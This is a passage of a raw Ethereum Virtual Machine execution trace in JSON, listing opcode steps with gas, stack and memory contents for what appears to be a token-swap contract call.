c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13907,"op":"JUMPI","gas":100432,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x3658"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13912,"op":"JUMPDEST","gas":100422,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13913,"op":"POP","gas":100421,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13914,"op":"JUMP","gas":100419,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13477,"op":"JUMPDEST","gas":100411,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13478,"op":"SWAP4","gas":100410,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13479,"op":"SWAP3","gas":100407,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x104","0xe4","0x0","0xb5e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13480,"op":"POP","gas":100404,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xb5e","0xe4","0x0","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13481,"op":"POP","gas":100402,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xb5e","0xe4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13482,"op":"POP","gas":100400,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xb5e","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13483,"op":"JUMP","gas":100398,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xb5e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2910,"op":"JUMPDEST","gas":100390,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2911,"op":"PUSH1","gas":100389,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2913,"op":"MLOAD","gas":100386,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2914,"op":"PUSH1","gas":100383,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2916,"op":"PUSH1","gas":100380,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2918,"op":"PUSH1","gas":100377,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2920,"op":"SHL","gas":100374,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x1","0x1","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2921,"op":"SUB","gas":100371,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x1","0x100000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000